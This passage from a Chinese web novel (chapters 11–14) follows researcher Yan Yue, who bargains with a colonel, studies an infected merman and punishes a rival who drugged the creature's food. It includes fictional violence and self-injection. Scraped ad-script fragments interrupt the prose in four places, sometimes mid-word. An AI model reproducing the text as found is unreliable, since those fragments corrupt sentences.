“拉斐尔一个末流家族当然不值得你们为难,相比之下,他们私下里跟欧文伯爵错综复杂的利益链显然更棘手一点。” 莫里掀起眼皮,无形且冷漠地对面前这个亚裔青年施威。 这个人隶属谁的势力,又有多少存在的价值。 晏越坦然对上审视的目光,说: “上校不必这么看我,只是因为本该来的人应该是大卫·欧文上尉。” 保镖在如此剑拔弩张的氛围下听到这句话差点惊掉下巴。 难道他是猜的? 为了诈莫里·亚当斯? 居然有人敢诈莫里·亚当斯? 莫里的眼中闪过一丝诧异。 晏越喝了口温水润润嗓子继续说:“上校此行必有其他目的,但我相信离开这片海域是我们共同的期望,毕竟这些无处不在又烦人的视线很麻烦,但如果前往沉没海域会安静很多。” 沉没海域隶属于第三联盟管辖,所有过往船只尤其是忒亚这种承载研究人员的军舰默认被条款保护。 在沉没海域能对忒亚发起攻击的只有海盗。 “但我完全可以在帝国管辖海域内完成我的事情,没必要冒险改变航线。”莫里说。 晏越放下手中的水杯,平静地说: “我以个人名义起誓,未来我所在领域的科研势力会无条件支持莫里·亚当斯个人而非家族。” 莫里看着面前这个从坐下就没漏出片刻胆怯与犹豫的亚裔青年。 高傲的天之骄子,连投诚都不曾弯下半分脊梁。 他见过形形色色的人。 敌人畏惧他的力量,自己人畏惧他的手段,甚至畏惧他的姓氏。 他们祈求他,敬仰他。 很少有人跟他谈条件,更何况凭的还只是张空口支票。 晏越身上有一种很矛盾的东西,不像众多学者那样沉静而又内敛。 他像浩瀚星宇,远看并没有多么亮眼,但每一颗星星单拿出来都是那么闪耀。 深邃漂亮的眼睛藏在镜框之下却没盖住半分锐利。 过了许久,莫里勾起嘴角,同意了。 看来这场航行并不是自己想象的那样无趣。 “三日后,忒亚会改变航线。” 晏越起身点头示意,“那就麻烦上校了。” 他刚迈出几步,便听到莫里在身后叫他。 “晏。” 晏越回头看向莫里,询问做什么。 “这是我的诚意,你也需要不是吗?” 莫里看似笑着,但笑不见底。 待晏越离开后莫里饶有兴致地打开信息资料。 屏幕上的人更年幼,眉宇间更有几分藏不住的锋芒,那些影影绰绰的情感如今看来却是被尽数埋在了深海之下。 亲属那栏上写着父母双亡。 其实这些他来忒亚前已经看过了,动荡的末世孤儿一抓一大把,这并不少见。 但晏越的父母都从事于帝国研究院不太多见,他们的名字甚至至今留存在教科书上。 从晏越的外貌中能看到他们夫妇二人的影子,他其实更像母亲多一些。 夫妻二人十数年前共同前往南极执行秘密任务,但偶遇爆发的间歇性污染光线,晏父当场死亡,晏母也因救治无效宣告死亡。 留下只有不到十岁的晏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 越和尚未完成的‘复生’计划。 ‘复生’计划随着两位核心研究人员的骤然离世宣告进入无期限的停止期。 事发突然,帝国为二人办了追悼仪式,晏越则被他们的共同好友奥凯西带走抚养。 接下来便是晏越在科研方面的贡献,莫里翻了好几页也没找到自己感兴趣的。 从布拉德利办公室回来的保镖敲门进去便看到莫里·亚当斯正在插花。 虽然是假花,但莫里·亚当斯还是饶有兴致地摆弄了一番。 “上校今天心情不错。”他说。 莫里从抵达忒亚后每日都忙到深夜,今天是最近几天最放松的一天。 “霍尔,去查查他的资料,从奥凯西把他带走那天起一直到他抵达忒亚前一天的资料全部找出来,看看有没有什么奇怪的地方。” 霍尔扫了一眼桌子上的资料,文件夹被展开放在上面,漏出上面一个少年模样的照片。 黑发少年别扭的微微抿着嘴角,眼尾亮亮的,也许是在拍照片时跟人起了点小矛盾,但盯着摄像机的眼睛仍旧是带着点笑意的。 “好的。” 晏越刚走出莫里办公室,在回研究室的路上突然腿一软,冷汗瞬间湿透后背,急忙掉转方向回房间。 短短几分钟脸色白的就能跟墙融为一体,回到房间的距离耗尽了他所有力气,在关门的瞬间顺着墙壁无力地滑坐在地,手腕的机械表刺红无比。 他大口喘息着,手脚冰冷但却感觉五脏六腑热的像是掉进了岩浆里。 晏越从白大褂里侧掏出试剂狠狠扎在自己的脖颈上,用力将试剂推了进去。 然而试剂并没有起太大的作用,只是让他稍微舒服了一点不至于失去意识而已。 于是他踉跄着起身暴力抽开书桌把上面的东西一扫而光,漏出放在最下面的黑匣子,凭借着肌肉记忆将密码输入进去。 泛着冷气的黑匣子被缓缓打开,一排排深蓝色的试剂静静躺在那里。 像是瘾君子拿到了渴望的东西,他猛拽出一管扎在脖子上推进体内,接下来没有片刻停滞拿起第二管,第三管... 直打了五管,那种虚幻且缥缈的感觉才缓慢褪去,而他此刻浑身湿透活像从水里爬出来的水鬼。 晏越望着地上的玻璃碎片慢慢回神,深蓝色和浅蓝色的试剂液体混杂在一起淌在地板上像是嘲笑他的无力。 他这才意识到自己手里躺着尚未开封的注射剂,要不是回过神来这第六管已经进了体内了。 他没什么表情,将注射剂放回匣子中,然后把散落在地上的文件收拾起来放进书桌里,洗了个澡换了身衣服,最后扫干净了地板,仿佛什么都没发生过。 在外人看来他只是脸色更白了一些,看起来像劳累过度。 但在他进入观察室后,水中的人鱼敏锐地眯起眼睛黏在他身后。 他去哪里,人鱼便游到哪里。 “做什么?”晏越皱起眉不解道。 赫瑞斯盯着他,说: “wei..dao....” “bian...” 晏越的脸色猛地一变。 12. 第 12 章 “什么味道?” 晏越把手里的资料随便丢在桌子上飞快走到二楼就要准备打开机械门,手覆在指纹锁上却突然停了下来。 他将目光放到玻璃后的人鱼,此时就在不近不远的地方,等待他将这扇门打开。 它浮在水上,尖锐的蹼爪和强壮的鱼尾尽数藏在水下,只漏出了那张与人类无异的胸膛和蛊惑的脸。 晏越突然垂下手,后退几步蹲下身子,望着它再次开口: “什么味道。” 赫瑞斯仍是不说话。 晏越今天来了兴致,“不说也没关系,恰好我还有许多事想问。” 他从兜里掏出一把军刀迅速划开手背,动作干脆利落,收刀时甚至挽了一个漂亮的花。 血珠沿着那条线迅速流下。 以他的角度可以看到人鱼缩了一下瞳孔被吸引而逐渐迫近玻璃。 “为什么污染物入侵那次你会被同类攻击,那只绿尾的跟你说了什么,你为什么要吃了它,以及你闻到了什么味道。” 晏越一下抛出许多问题,看似有些荒谬。 人鱼起初有些迷茫的看向他,但视线又落到了手背上的伤口处。 “我知道你能听懂。你每回答一个问题,我就会往前走一步,直至打开这扇门。” 语毕,他晃了晃手背,血滴滚落的痕迹随着他晃动的幅度带着它的目光在手背上转了个弯蜿蜒向下。 “你想要这个,对吧?” 蔚蓝色的竖瞳缓慢向上移动,从他的手背攀爬到手臂、胸膛,错过喉结驻留在脸颊。 它轻轻舔了一下嘴角,唇下尖锐的犬齿闪着冰冷的光。 湿腻的蹼爪温柔地贴在玻璃上,蹼指张开时在纤长手指间黏连的薄膜若隐若现,透明的像蛛网。 当猎物一旦靠近时,那张网便会收拢吞噬。 “喀。” 玻璃上瞬间出现五个细小到足以忽略的坑洞。 “省点劲,这玻璃你用指甲戳个百年都戳不穿。” 人鱼歪着头看了一下那几个细小的坑洞,果真连玻璃渣都没掉。 它不爽地呲了一下牙,但那种情绪很快就消失了。 “qu...zhu...” 看到它终于说出第一个问题,晏越起身上前一步,灼热的视线从跟随着他的步伐一并上前。 “驱逐?为什么?” 人鱼没有说话。 晏越迅速扫过它藏在水下的鱼尾。 “因为你被感染了,所以你被种群驱逐出了领地。” 摆在面前的答案显然并不让他满意,他试图从那双非人的瞳中搜寻到某些其他的线索。 “我看到过你的伤口,只在鱼尾有一点小抓伤,这种伤对你们来说完全可以自我痊愈,你不该被就这样驱逐出来。” 众所周知人鱼拥有超强的自愈能力,微小的感染抓伤对人类来说足以致命,但对于它们来说却不是问题。 这也是为什么人类执着于使用人鱼基因改善抗体的原因。 “所以你不是在被追踪炮攻击受重伤前感染的,你是之后被抓后感染的?” 人鱼含笑似得看着他,血在不知不觉间已经滴落在了地板上,尾鳍似乎的颜色似乎深了许多。 但晏越沉浸在理清线索以及那双瞳孔之中,错过了这细小的变化。 “不对,污染物入侵时那只人鱼是为杀你而来的,你被驱逐出领地但是它们紧追不舍并不准备放过你,对吧。” 他清楚的记得,污染物入侵那次忒亚所在的海域地点离捕捉到它的地方足有几百海里远。 脑袋里那些细碎的线串到了一起。 晏越想通后笑了一下,再次看向它的眼神中带着更浓重复杂的情绪。 “你是故意的。” “借人类之手铲除异己,并在这艘船上吊着命,把你救活就等哪天反杀,反正死了人类也占不到便宜,对吗?” 他一直都跟奥凯西教授坚持一个观念:那就是人鱼是一种比想象中要拥有更高智商的存在,它们被人类捕捉的原因只是因为他们手中的热兵器。 多么强大的生物都无法抵挡硝烟与炮火。 仅此而已。 晏越居高临下地看着一扇玻璃之隔的人鱼,脸上没有什么表情,淡漠的像是南极的冰川。 研究室一直保持着恒温的温度,但这种温度对人鱼来说并不舒适。 为了给人鱼一个更舒适的环境,晏越将研究室的温度调低了不少,现在他感觉其实自己这么做有点多余了。 金尾人鱼被揭穿非但没有一丝慌乱,瞳仁反而爆发出灼灼的光。 它另一只蹼爪顺势贴上了玻璃,渴望地看着面前的人类。 发丝下的脸色晦暗莫测,嘴角噙着邪狞的笑意,滔天的破坏欲如瀑般流泻出来。 他没有说话,保持着站立的姿势跟人鱼对视。 此时他已经不必知晓那条绿尾人鱼究竟跟它说了什么了。 野兽也妄想跟人类博弈? 于此同时,忒亚研究室内,以特温为首的研究人员们凑在一起吵的不可开交。 “他那条人鱼不对劲,那个指标太高了,这不符合常理,肯定是作假了!” “快得了吧,你以为人家是你啊,凯文火眼金睛看了那么多遍都没出问题,是吧凯文?” 凯文缩在角落不出声,被推了一下。 “说话啊,凯文!” 被逼无奈,凯文只能点点头小声吭哧,“没问题。” “看吧我就说那指标没问题,是那条人鱼,该死的,他可真走运!” “拉倒吧,霍奇,人鱼给你你能研究出来个屁的玩意,更何况那只人鱼你也看到的那么凶残,它连同类都吃,那条人鱼脑浆都快飘出来了...” “嘘!” 研究人员的声音越来越大,终于被旁边的人提醒。 “阿道夫现在可受不了刺激。” 那人因为争吵涨红了的脸在看到旁边那一幕后瞬间白了下来。 那里蹲着一个中年但头发花白的研究人员,正在地上拼接着什么。 嘴里嘟囔着: “这块骨头不对,这是脊骨。” “骨刺怎么少了一块。” “颅骨三十六号碎块在哪里?” 面目全非的人鱼尸体逐渐被他拼了起来,只是许多地方拼接的并不准确,他便把线拆开再次拼接,浑身上下的衣服染的各种颜色。 有人受不了了直接冲出去狂吐。 “阿道夫这是在干什么?”一个人捏着鼻子皱着眉问。 “那天阿道夫没来,不知道自己的人鱼被拉斐尔教授拿去实验了,回来以后发现人鱼都被撕成碎片了就这样了。” “啊?这不得气疯了啊?” 那人撇撇嘴,小声说:“没气疯也快刺激疯了,阿道夫的六年期 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 限就快到了就指着这条人鱼发点突破性的东西,但是你敢跟拉斐尔叫板吗?” “谁看到我的颅骨碎片了!我明明放在这里了!” 阿道夫突然暴起,满是脏污的手狂抓不放最近的一个人,双眼赤红嚎叫着,吓得那个人刚想说什么,闻到这个味道又本能的干呕。 “我没....呕....我没看...呕!” 有人看不下去想要把阿道夫拉开,但是疯癫状态的阿道夫力气实在是太大了,扯不开半分距离。 “阿道夫别找了,也许在晏越那条人鱼的肚子里了!” “碎片!我的碎片!” 整个屋子乱作一团,处于人群中心的特温·拉斐尔此时终于回过神来,看着这场闹剧皱起眉大喊一声:“别吵了!!” 众人瞬间安静,只有阿道夫和被阿道夫抓住的那个人还在叫喊。 “阿道夫!闭嘴!别拼你那个人鱼碎渣了,我给你一条新的!” 听到这句话的阿道夫突然不疯了,冲到特温面前瞪大眼睛反问:“真的吗?” 得救的人嗷一下冲了出去。 “哪里有人鱼?” 阿道夫在忒亚已经呆了好多年了,甚至比特温还要早一些,很多人都怜悯他此时居然混到了这种地步。 特温皱着眉抬脚抵在阿道夫的膝盖上阻止他继续前进,说:“不是想要人鱼吗,给你一条最强的,来看看这个。” 说罢他让助手给阿道夫一个文件夹。 阿道夫将信将疑接过来,翻开第一页、第二页,等到第三页的时候猛的将手上的脏污蹭在自己的衣服上,越看越兴奋。 从起初的草草翻阅到每一页每一行字都用手指比对着看。 “漂亮...真漂亮完美的数据,天生就是为了实验而存在的!” 有人好奇也凑上去看,发现这是什么后面露难色,怜悯地看了阿道夫一眼。 “这条人鱼呢?”阿道夫凑上前迫不及待询问特温。 特温看着阿道夫的表情非常满意,勾起嘴角,“人鱼?得你自己去抓,就在晏越研究室里。” 阿道夫意识到自己被耍了,暴怒着就要破口大骂。 “别着急,我跟你讲一个秘密,过来。” 阿道夫半信半疑靠近特温,把耳朵侧到一边。 “那条人鱼被他喂的像狗一样,你去他那里装装样子卖卖惨,把他喂给人鱼的东西里面加点成瘾的东西,不就得了吗?”特温悄声在他耳边说。 阿道夫拿看疯子一样的眼神看他: “怎么可能做到,成瘾最起码也要连喂三日,你以为他晏越是傻子吗?” 特温翻了个白眼,“加大剂量不就得了。” “那会过量,人鱼会成瘾致死的!” 特温听到后突然坐直了身子,看看身边的助手又看看阿道夫猛地笑出声,笑的上气不接下气。 “阿道夫,一只畜生而已。” “就算成瘾致死,东西在你手里,死的也能研究出点价值,没死那不就是你的狗咯?” 阿道夫琢磨着这句话的可行性,面色不善地说:“晏越不会放过我的。” 特温失去了所有耐心,支着下巴冷漠道:“那你就滚回帝国,自己选。” 语毕起身离开,研究室人稀稀落落散尽,只剩阿道夫和凯文还留在这里。 凯文看着犹豫的阿道夫欲言又止,最后还是叹了口气离开了。 13. 第 13 章 晏越刚走到研究室外就听到里面一片哭声,他皱起眉问旁边的谈寺这是在干什么。 谈寺把门顺手关上:“拉斐尔没经阿道夫同意把那只绿尾人鱼做了实验,后面你也知道,现在他跑到咱们这开始哭。” 他被阿道夫吵的头疼出来透透气,里面只有试验员一个人还在应付鬼哭狼嚎的阿道夫。 晏越隔着门都能听到阿道夫的哭喊,一张俊逸的脸上满是无语多转身跟谈寺一起离开。 里面的试验员一个头两个大,“行了行了,阿道夫你一把年纪哭成这样,这个事你不去找拉斐尔找我们干什么?” “什么乱七八糟的,什么叫你不跟拉斐尔干了,不行,我们研究室三个人一条鱼最多了,休想。” “行了别在这扯了,帮不了你,我要去喂人鱼了。” 阿道夫瘫坐在地上抹着眼泪扫了一眼水桶,骤然扑过去抱住他的大腿,“格雷西你不能不管我的死活啊,你知道的我就要离开忒亚了,我不能回去啊!” 格雷西低骂一句,“松开!” “你要是不愿意我加入,那你给我点不用的资料也行啊,我碰碰运气或许能做出来实验呢,格雷西我们都是研究人员你知道没有实验产出意味着什么的啊呜呜呜呜。” 格雷西被缠的头痛无比,看出来阿道夫是铁了心不能空手回去,“行了行了我知道了,给你点白鲸的资料,我先说好这实验失败了啊而且你以后别来我们研究室!” 阿道夫拿到资料以后眼泪甚至还挂在脸上,笑的格外开心,转变之快让格雷西觉得阿道夫是真的疯了。 晏越和谈寺两个人回到研究室后阿道夫已经离开了,格雷西瘫在椅子里说: “太恐怖了,阿道夫一把年纪哭起来像我那个小外甥。” 谈寺被逗笑,“你的试验品被咬死了,你也能这么哭。” “谁说的!” 两个人吵闹半天,晏越打断问:“今天喂它东西了吗?” “还没呢,刚准备去阿道夫就来了。” “我去吧。”晏越起身提着桶进去。 自从那次晏越和赫瑞斯的谈判后已经过了两天,这几天都是格雷西去喂食。 据格雷西说,人鱼第二天就已经拒绝进食了。 人鱼的眼睛从他进门开始便紧紧黏在他的身上,但他眼神都懒得给它一个。 他提着桶,从喂食口丢进去一只鱼。 赫瑞斯便迅速将那只鱼抓在手心,张开嘴,但在犬齿即将触到鱼的那一刻停顿了,它轻轻嗅了一下鱼,复又抬头看他。 漂亮的眼睛中有众多情绪。 晏越冷笑一声,“怕我毒死你?别浪费我的时间,要杀你不必等到现在。” 人鱼的耳鳍微微抖了一下,复又敛眸开始缓慢进食。 它吃的很慢,慢条斯理细嚼慢咽,像是吃给晏越看,但又不是自己愿意。 “不要磨蹭时间。” 他准备把鱼都倒进去的动作突然停顿下来,眯起眼睛看向桶里一滩液体、 那不是水,是啫喱状的东西。 “别吃了,赫瑞斯。” 赫瑞斯咽下最后一口鱼肉,看他。 晏越把那滩啫喱状的东西捞在手中,用打火机烧了一下,那啫喱状的东西在手中迅速融化,冒出诡异的青色浓烟。 ... 格雷西倒了杯热水跟谈寺说:“哎你说阿道夫是不是快离开忒亚了啊,他这最后的命根子都让拉斐尔毁了,居然就这么忍下了?” “他没办法和特温·拉斐尔叫板,再怎么...” 研究室发出一声爆裂声,谈寺反应过来冲进去,格雷西猛地呛了一口水连杯子都忘了放也紧跟其后。 “怎么了?怎么了?爆炸了?” 青色浓烟顶到了天花板,伴随着一股奇异的香味。 格雷西脸色一变,想到什么后大喊:“妈的,阿道夫个老东西敢耍我!” 谈寺迅速拿着检测报告递给他,“过量成瘾和致幻剂”,他看了一眼桶,“1kg就能成瘾,5kg致死,吃的多吗?” 晏越的神色晦暗不明,“不多。” 他一把拉开机械门,一手扶在赫瑞斯肩头一头探向它平坦的胃部,“吐出来。” 说完起身嘱咐格雷西,“能吐最好,吐不出去上催吐。” 格雷西忘了手里还有个杯子连忙说好,看着晏越要离开连忙问:“教授,你去哪?” 晏越并没有回答他,临走前还提着没喂完的桶走了。 格雷西感觉自己闯了大祸问谈寺:“教授不会一枪给阿道夫崩了吧?” 谈寺:“不好说。” 格雷西大惊失色。 某个实验室内,凯文看着阿道夫自从回来后就盯着特温给的文件夹出神,谁找都不理,他就知道要完。 所以当实验室的门被暴力踹开时,整个屋子只有他和阿道夫最平静。 阿道夫被揪着衣领从位置上提起来后疯狂大笑,掏出藏了许久的枪抵在来人的胸口,眼神凶恶。 “我的人鱼死了,你的也别想活,一命还一命!” 研究室的人看到后一嗓子叫出声纷纷后退,可晏越顿了三秒后突然轻笑出声,说: “会开枪吗?” 阿道夫被刺激到破口大骂试图逼退他,谁知枪被晏越死死握住丝毫拔不出来。 “别逼我!!” 晏越冰凉的手指搭在他覆在扳机上的拇指上,俊朗的脸在冷光的照射下一点血色都没有,活像是从地狱出来的恶鬼。 众人一窝蜂的冲上去试图阻止这场闹剧。 阿道夫被反复刺激涨红了脸,相比之下被枪指着的晏越冷静的模样与这件屋子格格不入。 周围嘈乱的声音让阿道夫本就混乱的脑袋更是一团浆糊。 他本就因为穷途末路而暴躁,如今自尊心被反复践踏,在呼喊声不知从哪来的勇气竟然扣动了扳机。 “嗒。” 一个轻轻的声音足以让哄闹的研究室安静下来,所有人尖叫着散开,生怕出了事责怪到自己头上。 这位可是帝国的四席之一,前途无量,要是死了他们都要完。 阿道夫回过神来脸色苍白,猛地抬头看向晏越。 洁白的研究服上一点红色的痕迹都没有。 他吓得缓缓抬起头来,迎面而来的便是俊朗的亚裔青年无法抵达深处的笑容,直击灵魂。 吵闹的研究室顷刻间安静下来,他们是听说过晏越的,及其心狠。 三年前帝国研究院出现一个伪装多年的叛逃者,是他的同学,被发现后盗窃资料叛逃帝国,并在逃亡途中重伤多人,最后遇到了刚出实验室的晏越。 尚是学生的晏越碰见后一句话都没多说,一枪终结了叛逃者。 “不会开枪啊,保险栓都没拉开,那轮到我了。” 话音刚落,阿道夫就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 感觉腿骨传来剧烈的疼痛,甚至听到了骨头碎裂的声音。 在他因剧痛而大叫时,嘴里被塞进一个冰凉腥臭的东西。 是一条死鱼。 “吃啊,不是喜欢加点料?” 阿道夫还想挣扎,但四肢突然在此刻失去了知觉,连下巴都被麻痹,此时连合拢都做不到,口水沿着腥臭的鱼不断滴落。 他呜呜呜的吭声,控诉晏越到底做了什么。 那张俊朗的脸在冷光的照射下一点血色都没有,活像是从地狱出来的恶鬼。 恶鬼很难得的抿嘴笑了。 他说:“你猜。” 巨大的惊恐笼罩着阿道夫,他想要挣扎着逃跑,却跟一滩烂泥一样滑落在地,拼命的向周围的人投去求助的眼光,可所有人都转过了头。 阿道夫是自作自受。 “阿道夫,别觉得自己很可怜,在这里站着的人谁没见过凌晨四点的日出,没人是平白无故能呆在忒亚的。” “你的报告被驳回跟人鱼一点关系都没有,活性实验数据跟报告压根不匹配,这么简单的错误本不该出现,你的能力不足以支持你呆在忒亚。” 晏越的话在安静的屋子里激起千层浪。 “对啊...他一直疯疯癫癫的,这不行那不行,看别人做什么都不行...” “他还骂过我是白痴!” “也没看到他有多大能耐,晏教授说得对。” 但也有人不满,指控晏越:“你又怎么确定是这个问题,别是假的吧?” 晏越冷眼扫过去,凉凉地说:“你的研究理论在发表前一个周就被推翻了,忒亚的网不好没传到你这?” 还有人想要说什么,被一句“还有你,不要用同类数据替换作假”噎住一句话不敢说。 晏越怎么知道的这么清楚? 整个研究室安静的连根针掉落的声音都能听到,处于人群中心的晏越平静地宣告了他们的死亡。 被点到名的研究人员脸上青红一片,但他们无可反驳,只有阿道夫不可置信地大喊:“不可能!数据校对过无数遍了,绝不可能!” 晏越气笑了,“你自己校对的?” 阿道夫不说话了,眼中漏出恶光,“你怎么会知道的这么清楚?” 晏越冷笑一声,“你脑袋被水泥糊住了忘了我在帝国是干什么的了?” 阿道夫这才猛地想起来,晏越在研究院一直都任审核一职。 他咆哮着指着晏越骂:“你根本不是学者,你只是个披着学术皮而玩弄权术的政客!” 晏越侧过头,“既然这样,那恰巧我也无聊,不如赌一把。” 阿道夫说:“赌什么?” “给你两个周的时间,你能拿出来点看得过去的东西我滚、人鱼给你,相反,我拿出来了的话...” 阿道夫立马答:“那我走。” 晏越微微一笑,“谁给你选择的机会了,你本来就要滚,我说的是如果我有突破性进展,要么你把这桶鱼吃的干干净净,要么你去当志愿者接受临床试验,以这种方式倒是可以留在忒亚。” 众所周知临床试验只有极少数人是自愿的,这其中大多数还是病入膏肓之人,为了接受高额的补偿金。 有人听到后倒吸一口凉气。 阿道夫躺在地上费劲抻着脖子,受了莫大的屈辱,但他压不下这口气,胸口剧烈起伏,一口答应。 “你别后悔!” 14. 第 14 章 在研究室忙的满头大汗的格雷西看到回来的晏越顾不上什么阿道夫,抓着他说:“没吐,不仅没吐还抓到了谈寺,不过就破了皮没什么大碍。” 晏越皱起眉大步走进去帮谈寺一起处理伤口,“去处理一下,这里我来解决。” 谈寺扫了一眼水中的人鱼,点点头离开。 赫瑞斯不知道在闹什么脾气,项圈一直在释放微量电流,直到晏越步入研究室才安静下来。 晏越说:“过来。” 赫瑞斯不太高兴,幽怨地看着他。 晏越蹲下来,甚至没感觉出来语气在不知不觉中放轻不少。 “我不知道那里面有东西,你能闻出来不一样的味道是吗?那你不该吃的。” 赫瑞斯半个身子埋进水中,盯着他,怎么看都有点委屈。 “你...说....吃....” 晏越没想到有一天会被自己说出去的话呛到,想了片刻无奈道:“过来,我帮你吐出去,以后不会了。” 语气轻柔,甚至带着点哄人的意味,如果有第二人在场一定会觉得自己恐怕是做梦还没醒。 金尾人鱼浅色睫毛微微颤抖,似乎在思考这句话的可信度。 很快,它晃着过去了,双手撑在甲板上轻松跃出。 “张嘴。” 它乖乖张开嘴,军刀冰冷的细长刀柄压在它的舌根和咽后壁,尾鳍焦躁地甩在甲板上噼啪作响。 “忍忍。” 抵住咽喉的刀柄颤抖几下后,它扭头向身旁呕出一些尚未消化的碎肉,一双蔚蓝的瞳仁波光流转。 剩下的剂量不会造成伤害,晏越临走时给赫瑞斯打了一管试剂,将地板清理干净后离开。 赫瑞斯盯着那个瘦削的背影消失后,半眯起眼睛张开嘴,蹼指压在舌根并在胃部轻轻施力,没吐干净的鱼肉便尽数被吐了出去,并很快被机械清扫干净。 格雷西看晏越出来,有些紧张:“没事了吗?” 他此时正在承受着莫大的心理压力,好在晏越点头说:“没事,试剂已经注入,三天后进入爆发期,提前做好准备。” ... 就在所有人以为晏越几人会因时间紧迫而焦头烂额时,一向神出鬼没的晏越高调出现在餐厅,甚至找了个人最多的地方坐下。 他们所处的位置瞬间成为了中心,不少人在周围窃窃私语,甚至还有胆子大的直接上前问他的实验进度如何。 换做平常他们铁定不敢这么跟这位说话,如今有人受特温指示,还有相信晏越没法在这么短的时间内有什么突破性进展。 毕竟一个四秒钟就卡着多少人的脖子十数年。 晏越虽是天才,但怎可凭一己之力突破多年瓶颈? 不知道谁在远处冷哼一声,“装什么呢。” 格雷西怒目而视骂了回去,转头小声在晏越耳边嘀咕:“教授,不然我们回去吧,这实在是...” 他跟晏越一起感受到了比以往更严重的注目礼,简直如坐针毡。 晏越切开一块牛排,平静地说:“你怕他们只会让他们得寸进尺。” “但是...但是他们都在看着我们。” 格雷西以前都是打了饭就跑的。 忒亚研究室的人看不上他,他也看不上那些人。 “就让他们看着。”晏越无情地拒绝他。 格雷西只好作罢,味同嚼蜡地吃下一块牛腩,屁股像是被针扎了,此时此刻他极度崇拜在这种情况下还能泰然自若的晏越。 好稳定的精神状态。 晏越吃得不多,把最后一口牛排吞下用餐巾纸擦净嘴角。 “格雷西,人也是动物,你退他们就进,当尊重没用的时候就要用别的方式让他们学会闭嘴。” 格雷西一震,但看着吃完了的晏越更着急了,一股脑把饭塞进嘴巴并异常感谢冷漠的教授居然大发善心等他吃完饭。 虽然最后还没吞下去就是了。 回到研究室的他突然觉得有一种莫名的轻松,像长久背在背上的包袱被卸下。 他突然想到自己这短暂的时间内无法忍受的却是晏越长久经历并习惯的。 想到这里的格雷西,看向晏越的表情都变了。 不仅稳定,还很强大。 “情况怎么样?” 晏越拉开椅子坐在谈寺身边,看着较为平稳的指标搓了一下冻僵的手。 谈寺的脸色不太好:“开始病变了,预测在1小时后到达峰值,但峰值还是没办法突破阈值,可能因为人鱼正处于沉睡状态所以病毒因子活跃度不高,要加大试剂量吗?” 晏越敛眸思索了片刻,“不必,给我一套防护服。” 谈寺转身去冷冻柜里拿出早就备好的试剂和防护服。 “手腕有警报器,如果有危险记得联络,我们在外面等你。” 防护服很轻薄,上面的特制涂层可以短暂抵抗感染病毒,这种新材料涂层才刚研发并未投入生产,尚未经过稳定性测试,只是当下也容不得继续浪费时间了。 这一个研究室的人全部都是亡命之徒。 晏越看到谈寺眼底下的一片乌青,显然是因为着急把防护服赶出来而熬了很多天,他点点头对谈寺说:“谢谢。” 穿戴整齐的晏越刚拉开观察室的门,铺面而来的冷气便将空气中的水凝成了雾。 此时室内温度已经达到了零下10℃,培养皿中的人鱼紧闭双眸,像一个庞大而又美丽的标本。 琥珀金的尾鳍像是大漠砂金灼目耀眼,但此时此刻上面遍布狰狞的黑色纹路,像是被入侵的帝国,逐渐崩塌破碎。 他缓慢的走进水池中,逐渐往中心靠近,即便隔着一层防护服也能感受到赫瑞斯冰冷的肌肤温度。 冰的不像是活物。 他将防护服的衣袖卷起,割开手臂,寒冷让血液为了行动便利他在防护服里只穿了一层很薄的单衣。 观察室的温度还在逐渐降低,没了防护服的保护,直接接触到冷气后骨头都冻得发痛。 晏越卷起衣袖用刀割开了手臂,寒冷让血液的流动变缓,伤口发白后缓了一会儿才开始冒血。 黑色的纹路迅速攀升,从鱼尾延伸到胸膛。 它猛地睁开眼森冷地看着他的伤口,空洞的双眼只剩无法填满的欲望,喉咙发出低吟,湿腻的蹼爪瞬间抓住了晏越的胳膊,防护服被尖锐的指甲轻易刺穿。 就在此时晏越毫不犹豫地按下按钮,项圈瞬间将庞大的人鱼麻痹,握住自己胳膊的蹼爪也顺势松开。 他趁着赫瑞斯尚未反应过来迅速游回岸上将门关闭。 被困住的人鱼因被困而狂躁,冲撞在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 玻璃上,锋利的指甲刮在玻璃上发出尖锐刺耳的声音。 “学长,突破了,但...” 联络器中传来谈寺的声音。 “但一直在升高,要失控了。” 晏越低骂一句,闭眼深吸了一口气拉开培养皿的门,伴随着阀门释放气压声毫不犹豫地拉下领口对着水下的人鱼说:“来。” 蹼爪瞬间牢牢握住他的脚踝将他拽入水中。 冰水瞬间涌入鼻腔和眼眶,潮湿瞬间将他笼罩,肺部被剧烈压缩,骨骼摩擦发出声响。 脖颈的刺痛让他眼前一白,巨大的力量将他牢牢贴在胸前似乎要将他生生挤碎。 他甚至能感受到体内的血液在迅速流逝,以及耳边细微的吞咽声。 他强忍剧痛将取血器扎在赫瑞斯的脊背上,淡蓝色的血液被迅速抽满。 可颈间的头颅尚未离开半分。 直到晏越给赫瑞斯注入大量的麻醉剂,握在腰间的蹼爪才缓缓松了力气。 他拖着疲倦的身体游回岸上,靠着墙呛出了一口血。 血源源不断地从他的嘴角溢出,滴在地上的瞬间便成了冰。 机械表闪着诡异的暗绿色光芒,他踉跄着起身拖来准备好的黑匣子,从里面拿出药剂对准自己的胳膊。 但怎么都对不准血管,手似乎早就失去了控制。 视线逐渐模糊,他只能看清一个胳膊的轮廓,阴影将为数不多的视线吞没蚕食。 联络器起初还能听到声音,现在只剩下一些咝咝啦啦的噪音,最后连那点声音都消失完全。 研究室的门是被从里面锁上的,换句话说如果他自己不出去,没人能把这扇门打开。 他自嘲似得笑了一声,将药剂砸碎在地,玻璃管应声裂开,半数液体在接触空气的瞬间蒸发,只剩另一个碎管里的几滴。 晏越捏着那半个碎管将药剂仰头倒入嘴中,这个简单的动作就耗尽了他所有的力气,手无力的滑下。 他靠在墙边,无奈地呢喃了一句:“以后能不能别把半成品拿出来用啊,还要我给你们收拾烂摊子。” 不知道是跟谁说的,也没人回应他的话。 身体逐渐变冷,不知道什么时候睡了过去,也不知道为什么即将静止的心脏忽然剧烈跳动起来开始供血。 冻透的血被心脏泵到全身各处,唤醒了他的意识。 晏越猛地大口喘息苏醒过来,犹如窒息之人重获氧气。 